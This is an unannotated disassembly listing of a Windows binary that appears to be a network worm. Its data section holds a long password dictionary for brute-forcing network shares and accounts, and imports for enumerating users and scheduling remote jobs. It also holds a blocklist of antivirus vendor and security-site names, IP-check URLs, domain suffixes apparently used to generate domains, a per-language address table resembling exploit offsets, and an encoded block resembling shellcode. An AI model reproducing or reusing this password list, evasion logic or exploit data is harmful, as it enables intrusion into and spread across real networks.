--------------------------------------------------------------------------- loc_9B6D87: ; CODE XREF: .text:009B6D56j ; .text:009B6D63j ... lodsb mov ah, al shr al, 7 jb short loc_9B6DA1 jz short loc_9B6DA5 add dl, 4 pusha mov al, 67h repne scasb popa jnz short loc_9B6DA5 sub dl, 3 dec al loc_9B6DA1: ; CODE XREF: .text:009B6D8Dj jnz short loc_9B6D7F inc edx inc eax loc_9B6DA5: ; CODE XREF: .text:009B6D8Fj ; .text:009B6D9Aj and ah, 7 pusha mov al, 67h repne scasb popa jz short loc_9B6DC3 cmp ah, 4 jz short loc_9B6DCC cmp ah, 5 jnz short loc_9B6D7F dec al jz short loc_9B6D7F loc_9B6DBE: ; CODE XREF: .text:009B6DD8j add dl, 4 jmp short loc_9B6D7F ; --------------------------------------------------------------------------- loc_9B6DC3: ; CODE XREF: .text:009B6DAEj cmp ax, 600h jnz short loc_9B6D7F inc edx jmp short loc_9B6D7E ; --------------------------------------------------------------------------- loc_9B6DCC: ; CODE XREF: .text:009B6DB3j cmp al, 0 jnz short loc_9B6D7E lodsb and al, 7 sub al, 5 jnz short loc_9B6D7E inc edx jmp short loc_9B6DBE ; --------------------------------------------------------------------------- loc_9B6DDA: ; CODE XREF: .text:009B6D5Aj test byte ptr [esi], 38h jnz short loc_9B6D87 mov al, 8 shr bh, 1 adc al, 0 jmp loc_9B6D5C ; --------------------------------------------------------------------------- loc_9B6DEA: ; CODE XREF: .text:009B6D7Cj sub bh, 0A0h cmp bh, 4 jnb short loc_9B6D74 pusha mov al, 67h repne scasb popa jnz short loc_9B6DFC dec edx dec edx loc_9B6DFC: ; CODE XREF: .text:009B6DF8j pusha mov al, 66h repne scasb popa jz loc_9B6D7E jnz loc_9B6D74 ; --------------------------------------------------------------------------- db 2 dup(0CCh) ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_9B9DFC jmp short loc_9B6EF0 ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_2: ; Microsoft VisualC 2-9/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION memcmp. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION log. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION sin. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION labs. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000021 BYTES: COLLAPSED FUNCTION __allshr. PRESS KEYPAD "+" TO EXPAND] ; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x). PRESS KEYPAD "+" TO EXPAND] ; [0000009D BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] align 2 ; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION Module32Next. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION Module32First. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION Process32Next. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION Process32First. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION Thread32Next. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION Thread32First. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION ntohl_0. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION inet_addr. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION __WSAFDIsSet. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION ntohl. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NdrClientCall2. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION ObtainUserAgentString. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION WNetCancelConnection2W. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION WNetAddConnection2W. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION WNetAddConnection2A. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION WNetCancelConnection2A. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION VerQueryValueA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoSizeA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NetApiBufferFree. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobDel. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobEnum. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobAdd. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NetUserEnum. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NetServerEnum. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NetWkstaGetInfo. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] dd 727h dup(0) dword_9B9000 dd 0 ; DATA XREF: _CRT_INIT(x,x,x)+4Fo dword_9B9004 dd 3 dup(0) ; DATA XREF: _CRT_INIT(x,x,x)+4Ao off_9B9010 dd offset Password ; DATA XREF: sub_9A870C+130r dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a123123 ; "123123" dd offset a12321 ; "12321" dd offset a123321 ; "123321" dd offset a123abc ; "123abc" dd offset a123qwe ; "123qwe" dd offset a123asd ; "123asd" dd offset a1234abcd ; "1234abcd" dd offset a1234qwer ; "1234qwer" dd offset a1q2w3e ; "1q2w3e" dd offset aA1b2c3 ; "a1b2c3" dd offset aAdmin_0 ; "admin" dd offset aAdmin ; "Admin" dd offset aAdministrator ; "administrator" dd offset aNimda ; "nimda" dd offset aQwewq ; "qwewq" dd offset aQweewq ; "qweewq" dd offset aQwerty ; "qwerty" dd offset aQweasd ; "qweasd" dd offset aAsdsa ; "asdsa" dd offset aAsddsa ; "asddsa" dd offset aAsdzxc ; "asdzxc" dd offset aAsdfgh ; "asdfgh" dd offset aQweasdzxc ; "qweasdzxc" dd offset aQ1w2e3 ; "q1w2e3" dd offset aQazwsx ; "qazwsx" dd offset aQazwsxedc ; "qazwsxedc" dd offset aZxcxz ; "zxcxz" dd offset aZxccxz ; "zxccxz" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aPasswd ; "passwd" dd offset aPassword_0 ; "password" dd offset aPassword ; "Password" dd offset aLogin_0 ; "login" dd offset aLogin ; "Login" dd offset aPass ; "pass" dd offset aMypass ; "mypass" dd offset aMypassword ; "mypassword" dd offset aAdminadmin ; "adminadmin" dd offset aRoot ; "root" dd offset aRootroot ; "rootroot" dd offset aTest ; "test" dd offset aTesttest ; "testtest" dd offset aTemp ; "temp" dd offset aTemptemp ; "temptemp" dd offset aFoofoo ; "foofoo" dd offset aFoobar ; "foobar" dd offset aDefault ; "default" dd offset aPassword1 ; "password1" dd offset aPassword12 ; "password12" dd offset aPassword123 ; "password123" dd offset aAdmin1 ; "admin1" dd offset aAdmin12 ; "admin12" dd offset aAdmin123 ; "admin123" dd offset aPass1 ; "pass1" dd offset aPass12 ; "pass12" dd offset aPass123 ; "pass123" dd offset aRoot123 ; "root123" dd offset aPw123 ; "pw123" dd offset aAbc123 ; "abc123" dd offset aQwe123 ; "qwe123" dd offset aTest123 ; "test123" dd offset aTemp123 ; "temp123" dd offset aMypc123 ; "mypc123" dd offset aHome123 ; "home123" dd offset aWork123 ; "work123" dd offset aBoss123 ; "boss123" dd offset aLove123 ; "love123" dd offset aSample ; "sample" dd offset aExample ; "example" dd offset aInternet_0 ; "internet" dd offset aInternet ; "Internet" dd offset aNopass ; "nopass" dd offset aNopassword ; "nopassword" dd offset aNothing ; "nothing" dd offset aIhavenopass ; "ihavenopass" dd offset aTemporary ; "temporary" dd offset aManager ; "manager" dd offset aBusiness ; "business" dd offset aOracle ; "oracle" dd offset aLotus ; "lotus" dd offset aDatabase ; "database" dd offset aBackup ; "backup" dd offset aOwner ; "owner" dd offset aComputer ; "computer" dd offset aServer ; "server" dd offset aSecret ; "secret" dd offset aSuper ; "super" dd offset aShare ; "share" dd offset aSuperuser ; "superuser" dd offset aSupervisor ; "supervisor" dd offset aOffice ; "office" dd offset aShadow ; "shadow" dd offset aSystem ; "system" dd offset aPublic ; "public" dd offset aSecure ; "secure" dd offset aSecurity ; "security" dd offset aDesktop ; "desktop" dd offset aChangeme ; "changeme" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aNobody ; "nobody" dd offset aCluster ; "cluster" dd offset aCustomer ; "customer" dd offset aExchange ; "exchange" dd offset aExplorer ; "explorer" dd offset aCampus ; "campus" dd offset aMoney ; "money" dd offset aAccess ; "access" dd offset aDomain ; "domain" dd offset aLetmein ; "letmein" dd offset aLetitbe ; "letitbe" dd offset aAnything ; "anything" dd offset aUnknown ; "unknown" dd offset aMonitor ; "monitor" dd offset aWindows ; "windows" dd offset aFiles ; "files" dd offset aAcademia ; "academia" dd offset aAccount ; "account" dd offset aStudent ; "student" dd offset aFreedom ; "freedom" dd offset aForever ; "forever" dd offset aCookie ; "cookie" dd offset aCoffee ; "coffee" dd offset aMarket ; "market" dd offset aPrivate ; "private" dd offset aGames ; "games" dd offset aKiller ; "killer" dd offset aController ; "controller" dd offset aIntranet ; "intranet" dd offset aWork ; "work" dd offset aHome ; "home" dd offset aJob ; "job" dd offset aFoo ; "foo" dd offset aWeb ; "web" dd offset aFile ; "file" dd offset aSql ; "sql" dd offset aAaa_0 ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aFuck ; "fuck" dd offset a12 ; "12" dd offset a21 ; "21" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset a87654321 ; "87654321" dd offset a987654321 ; "987654321" dd offset a0987654321 ; "0987654321" dd offset PrefixString ; "0" dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a00000 ; "00000" dd offset a0000000 ; "0000000" dd offset a00000000 ; "00000000" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a2_0 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset dword_9A2718+4 align 8 off_9B93F8 dd offset aVirus ; DATA XREF: sub_9A8D37:loc_9A8D54r ; "virus" dd offset aSpyware ; "spyware" dd offset aMalware ; "malware" dd offset aRootkit ; "rootkit" dd offset aDefender ; "defender" dd offset aMicrosoft ; "microsoft" dd offset aSymantec ; "symantec" dd offset aNorton ; "norton" dd offset aMcafee ; "mcafee" dd offset aTrendmicro ; "trendmicro" dd offset aSophos ; "sophos" dd offset aPanda ; "panda" dd offset aEtrust ; "etrust" dd offset aNetworkassocia ; "networkassociates" dd offset aComputerassoci ; "computerassociates" dd offset aFSecure ; "f-secure" dd offset aKaspersky ; "kaspersky" dd offset aJotti ; "jotti" dd offset aFProt ; "f-prot" dd offset aNod32 ; "nod32" dd offset aEset ; "eset" dd offset aGrisoft ; "grisoft" dd offset aDrweb ; "drweb" dd offset aCentralcommand ; "centralcommand" dd offset aAhnlab ; "ahnlab" dd offset aEsafe ; "esafe" dd offset aAvast ; "avast" dd offset aAvira ; "avira" dd offset aQuickheal ; "quickheal" dd offset aComodo ; "comodo" dd offset aClamav ; "clamav" dd offset aEwido ; "ewido" dd offset aFortinet ; "fortinet" dd offset aGdata ; "gdata" dd offset aHacksoft ; "hacksoft" dd offset aHauri ; "hauri" dd offset aIkarus ; "ikarus" dd offset aK7computing ; "k7computing" dd offset aNorman ; "norman" dd offset aPctools ; "pctools" dd offset aPrevx ; "prevx" dd offset aRising ; "rising" dd offset aSecurecomputin ; "securecomputing" dd offset aSunbelt ; "sunbelt" dd offset aEmsisoft ; "emsisoft" dd offset aArcabit ; "arcabit" dd offset aCpsecure ; "cpsecure" dd offset aSpamhaus ; "spamhaus" dd offset aCastlecops ; "castlecops" dd offset aThreatexpert ; "threatexpert" dd offset aWilderssecurit ; "wilderssecurity" dd offset aWindowsupdate ; "windowsupdate" off_9B94C8 dd offset dword_9A3C6C ; DATA XREF: sub_9A8D37:loc_9A8D82o dd offset dword_9A3C68 dd offset dword_9A3C60 dd offset dword_9A3C58 dd offset dword_9A345C+7F4h dd offset dword_9A345C+7ECh dd offset dword_9A345C+7E4h dd offset dword_9A345C+7DCh off_9B94E8 dd offset aHttpCheckip_dy ; DATA XREF: sub_9A9580+58r ; "http://checkip.dyndns.org" dd offset aHttpWww_whatis ; "http://www.whatismyip.org" dd offset aHttpWww_whatsm ; "http://www.whatsmyipaddress.com" dd offset aHttpWww_getmyi ; "http://www.getmyip.org" dword_9B94F8 dd 0 ; DATA XREF: sub_9A98F7+4Ar ; sub_9A98F7:loc_9A9960r dword_9B94FC dd 9, 1F1CB0h, 3 dup(0) ; DATA XREF: sub_9A98F7+52r ; sub_9A98F7+71r dd 5, 9, 780E1FCBh, 3 dup(0) dd 6, 9, 7C90568Ch, 7CA27CF4h, 7C86FED3h, 7C83E413h, 7 dd 9, 7C86BEB8h, 7CA1E84Eh, 7C86A01Bh, 7C83F517h, 2, 9 dd 7801CB24h, 3 dup(0) dd 3, 9, 6F88F727h, 6F8916E2h, 2 dup(0) dd 3, 1, 6FD8F727h, 6FD916E2h, 2 dup(0) dd 3, 416h, 596FF727h, 597016E2h, 2 dup(0) dd 3, 804h, 58FBF727h, 58FC16E2h, 2 dup(0) dd 3, 4, 5860F727h, 586116E2h, 2 dup(0) dd 3, 5, 6FE1F727h, 6FE216E2h, 2 dup(0) dd 3, 6, 5978F727h, 597916E2h, 2 dup(0) dd 3, 13h, 596CF727h, 596D16E2h, 2 dup(0) dd 3, 0Bh, 597DF727h, 597E16E2h, 2 dup(0) dd 3, 0Ch, 595BF727h, 595C16E2h, 2 dup(0) dd 3, 7, 6FD9F727h, 6FDA16E2h, 2 dup(0) dd 3, 8, 592AF727h, 592B16E2h, 2 dup(0) dd 3, 0Eh, 5970F727h, 597116E2h, 2 dup(0) dd 3, 0Dh, 5940F727h, 594116E2h, 2 dup(0) dd 3, 10h, 596BF727h, 596C16E2h, 2 dup(0) dd 3, 11h, 567FF727h, 568016E2h, 2 dup(0) dd 3, 12h, 6FD6F727h, 6FD716E2h, 2 dup(0) dd 3, 14h, 597CF727h, 597D16E2h, 2 dup(0) dd 3, 15h, 5941F727h, 594216E2h, 2 dup(0) dd 3, 16h, 596BF727h, 596C16E2h, 2 dup(0) dd 3, 19h, 6FE1F727h, 6FE216E2h, 2 dup(0) dd 3, 0Ah, 6FDBF727h, 6FDC16E2h, 2 dup(0) dd 3, 1Dh, 597AF727h, 597B16E2h, 2 dup(0) dd 3, 1Fh, 5A78F727h, 5A7916E2h, 2 dup(0) dd 4, 9, 6F88F807h, 6F8917C2h, 2 dup(0) dd 4, 1, 6FD8F807h, 6FD917C2h, 2 dup(0) dd 4, 416h, 596FF807h, 597017C2h, 2 dup(0) dd 4, 804h, 58FBF807h, 58FC17C2h, 2 dup(0) dd 2 dup(4), 5860F807h, 586117C2h, 2 dup(0) dd 4, 5, 6FE1F807h, 6FE217C2h, 2 dup(0) dd 4, 6, 5978F807h, 597917C2h, 2 dup(0) dd 4, 13h, 596CF807h, 596D17C2h, 2 dup(0) dd 4, 0Bh, 597DF807h, 597E17C2h, 2 dup(0) dd 4, 0Ch, 595BF807h, 595C17C2h, 2 dup(0) dd 4, 7, 6FD9F807h, 6FDA17C2h, 2 dup(0) dd 4, 8, 592AF807h, 592B17C2h, 2 dup(0) dd 4, 0Eh, 5970F807h, 597117C2h, 2 dup(0) dd 4, 0Dh, 5940F807h, 594117C2h, 2 dup(0) dd 4, 10h, 596BF807h, 596C17C2h, 2 dup(0) dd 4, 11h, 567FF807h, 568017C2h, 2 dup(0) dd 4, 12h, 6FD6F807h, 6FD717C2h, 2 dup(0) dd 4, 14h, 597CF807h, 597D17C2h, 2 dup(0) dd 4, 15h, 5941F807h, 594217C2h, 2 dup(0) dd 4, 16h, 596BF807h, 596C17C2h, 2 dup(0) dd 4, 19h, 6FE1F807h, 6FE217C2h, 2 dup(0) dd 4, 0Ah, 6FDBF807h, 6FDC17C2h, 2 dup(0) dd 4, 1Dh, 597AF807h, 597B17C2h, 2 dup(0) dd 4, 1Fh, 5A78F807h, 5A7917C2h, 2 dup(0) dword_9B99F0 dd 0FFFFFFE8h, 8D5FC2FFh, 3180104Fh, 816641C4h, 75534D39h ; DATA XREF: sub_9A9654+71o dd 26AFCF5h, 418B6459h, 0C408B2Eh, 8B1C408Bh, 8588B00h dd 0A1B78Dh, 29E80000h, 50000000h, 0FC8BF8E2h, 9317FF56h dd 0E807C683h, 18h, 5252D233h, 0C766CC8Bh, 512E7801h, 520477FFh dd 52565152h, 0E0FF37FFh, 955651ADh, 8B3C4B8Bh, 3780B4Ch dd 8DF633CBh, 5103B314h, 3128B20h, 0C0000FD3h, 0C1C0BF0Fh dd 23207C0h, 3A8042h, 0C53BF575h, 3B460674h, 0DB721871h dd 324518Bh, 14B70FD3h, 1C418B72h, 48BC303h, 5EC30390h dd 0A260C359h, 8026768Ah, 7275C8ACh, 6E6F6D6Ch, 5D239900h dd 0D9h ; DWORD dwMilliseconds dwMilliseconds dd 3E8h ; DATA XREF: sub_9AC5BB:loc_9AC69Br ; sub_9AC789+C1r ... ; volatile LONG dword_9B9AB0 dword_9B9AB0 dd 64h ; DATA XREF: sub_9AC789+C8r ; sub_9ACA50+11o off_9B9AB4 dd offset dword_9A44AC ; DATA XREF: sub_9AC476+19r dd offset dword_9A44A4 dd offset dword_9A4498 dd offset dword_9A4490 dd offset dword_9A4484 ; wchar_t *off_9B9AC8 off_9B9AC8 dd offset aBoot ; DATA XREF: sub_9AD71D+89r ; sub_9AD71D+ABr ; "Boot" dd offset aCenter ; "Center" dd offset aConfig ; "Config" dd offset aDriver ; "Driver" dd offset aHelper ; "Helper" dd offset aImage ; "Image" dd offset aInstaller ; "Installer" dd offset aManager_0 ; "Manager" dd offset aMicrosoft_0 ; "Microsoft" dd offset aMonitor_0 ; "Monitor" dd offset aNetwork ; "Network" dd offset aSecurity_0 ; "Security" dd offset aServer_0 ; "Server" dd offset aShell ; "Shell" dd offset aSupport ; "Support" dd offset aSystem_0 ; "System" dd offset aTask ; "Task" dd offset aTime ; "Time" dd offset aUniversal ; "Universal" dd offset aUpdate ; "Update" dd offset aWindows_0 ; "Windows" align 10h ; int dword_9B9B20 dword_9B9B20 dd 0C351h ; DATA XREF: sub_9AD914+1Fr align 8 dword_9B9B28 dd 0F52DA7E7h, 4912CA45h, 0D61E44E6h, 0BA1B4C72h, 8BF0723Ch ; DATA XREF: sub_9AD914+25o dd 0F375EB4Bh, 0CD44E85Eh, 21E95687h, 333406E6h, 42934976h dd 3603E8ECh, 4DADA619h, 967F5912h, 25418501h, 7E83E2CBh dd 0B385DF72h, 0FB59E1DDh, 2D9A7897h, 0E93DB6B2h, 39455258h dd 9FC8901Bh, 422B5CD7h, 0D86AA6DEh, 4CF2D003h, 2E2472AFh dd 4DF38C9Dh, 0F24D2F2Fh, 2989D649h, 0FFC6C9A2h, 0B6985FF2h dd 92AD0968h, 10D57010h, 0B6DA1CEAh, 0CC03D4BCh, 578E9E8Dh dd 0BCFCCF8Ch, 319EC35Bh, 8A08DA5Bh, 0BF802693h, 8045DBD2h dd 0AF873383h, 5FF6C269h, 14349915h, 0CC880FCBh, 93E92944h dd 0F97E9E45h, 938A8712h, 0BB43338Eh, 605B400Ch, 3140864Ch dd 13659917h, 8AC26CE4h, 0D930A4E5h, 0BB6AD6F3h, 2DADFEBh dd 7E386DECh, 6811EE23h, 0A87D628Ah, 0C69E9393h, 23F17BDCh dd 3972665Dh, 56E53DC8h, 0A8D920C3h, 0E435259Ah, 7ED4993Bh dd 74D7D161h, 0EB6AE350h, 3D315A49h, 4A29DE21h, 0D1FC30CDh dd 7398D7FDh, 53A64B60h, 0EEF95D08h, 9721E605h, 0D6B7D9EDh dd 0B13400BCh, 26BD6B76h, 1C2C8A60h, 2D58E6B6h, 9404D47h dd 9DB1835Bh, 0A28E983Ch, 7A5D9E2Dh, 0C80DF107h, 0B047261Bh dd 8701C1Ah, 9CC24C76h, 0EF33ACFh, 0A800C61Eh, 9247CB15h dd 7F91D7Eh, 4992AA42h, 0ED7104DCh, 0E6DCE7D6h, 25BD3CADh dd 0ECFA3218h, 0FBA5B7FAh, 5249A1CCh, 0A76030BAh, 95A3B0D3h dd 61DAF2E5h, 97D227BDh, 3366D8C0h, 0D2130437h, 0CB3F9D36h dd 2E6B7924h, 0BE12269h, 485BC1ADh, 0D5E18Ah, 6443787h dd 744CAEF5h, 0A30F204Bh, 0D4086357h, 3AF0EB57h, 0C4031AE3h dd 2D179ADFh, 441FFD7Fh, 0B749DA71h, 0B5263FBAh, 0CAFE9CDDh dd 0ECDB7018h, 96846399h, 4C801030h, 0BC4D7333h, 2C79C3B2h dd 41CD6883h, 7DED455Ch, 88A8BEE7h off_9B9D28 dd offset aBaidu_com ; DATA XREF: sub_9ADB52+25r ; "baidu.com" dd offset aGoogle_com ; "google.com" dd offset aYahoo_com ; "yahoo.com" dd offset dword_9A4490 dd offset aAsk_com ; "ask.com" dd offset aW3_org ; "w3.org" ; char *off_9B9D40 off_9B9D40 dd offset aJan ; DATA XREF: sub_9ADA6E+84r ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" ; char *off_9B9D70 off_9B9D70 dd offset a_cc ; DATA XREF: sub_9ADD9B+C3r ; ".cc" dd offset a_cn ; ".cn" dd offset a_ws ; ".ws" dd offset a_com ; ".com" dd offset a_net ; ".net" dd offset a_org ; ".org" dd offset a_info ; ".info" dd offset a_biz ; ".biz" dbl_9B9D90 db 56h, 48h, 85h, 56h, 77h, 0, 0, 0 ; DATA XREF: sub_9ADB52+C1w ; sub_9ADC21+Cr ... off_9B9D98 dd offset dword_9A4AE4 ; DATA XREF: sub_9AE6A2+238r dd offset dword_9A4AE0 dd offset aJpeg ; "jpeg" dd offset dword_9A4AD4 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 9A4BA8h byte_9B9DC0 db 6 ; DATA XREF: sub_9B392F+33r ; sub_9B392F+4Cr ... db 3 dup(46h) dd 45452929h, 46464609h, 29292946h, 1292929h, 5101101h dd 45464646h, 40200000h, 6060202h, 666606h byte_9B9DE8 db 4 ; DATA XREF: sub_9B2B17+418r db 4, 2 dup(6) dd 7070000h, 2 dup(404h) dword_9B9DF8 dd 1 ; DATA XREF: sub_9B6513r ; sub_9B6665+39w dword_9B9DFC dd 19930520h, 4 dup(0) ; DATA XREF: .text:009B6EDFo ; __NLG_Notify+2o ; HANDLE hObject hObject dd 0E4h ; DATA XREF: sub_9A799E+EBw ; sub_9A799E+12Fr ; char aMarnwkcw[] aMarnwkcw db 'marnwkcw',0 ; DATA XREF: sub_9A799E+A9o ; sub_9A799E:loc_9A7B20o ... align 10h dword_9B9E20 dd 0 ; DATA XREF: sub_9A7170+AFw ; sub_9ACABE+1Cr ... align 8 ; char ExistingFileName[] ExistingFileName db 'c:\windows\system32\oc.dll',0 ; DATA XREF: sub_9A722A+2Bo ; sub_9A7410+5Co ... align 4 dd 39h dup(0) db 3 dup(0) byte_9B9F2B db 0 ; DATA XREF: sub_9A752A+121w ; sub_9A799E+49w ; DWORD nNumberOfBytesToWrite nNumberOfBytesToWrite dd 0 ; DATA XREF: StartAddress+89o ; StartAddress+B7r ... ; LPCVOID lpBuffer lpBuffer dd 0 ; DATA XREF: StartAddress+97w ; sub_9A8326+1AEr ... dword_9B9F34 dd 0CA3F246h ; DATA XREF: sub_9A752A+9r ; sub_9A799E+88w ... ; volatile LONG dword_9B9F38 dword_9B9F38 dd 0 ; DATA XREF: StartAddress:loc_9A77E2o ; sub_9ADCF2+9r ... align 10h ; wchar_t word_9B9F40 word_9B9F40 dw 0 ; DATA XREF: sub_9A88A6+5Do ; sub_9A8949+32o ... align 4 dd 80h dup(0) db 2 dup(0) word_9BA146 dw 0 ; DATA XREF: sub_9A8949+40w dword_9BA148 dd 0 ; DATA XREF: fn+20w 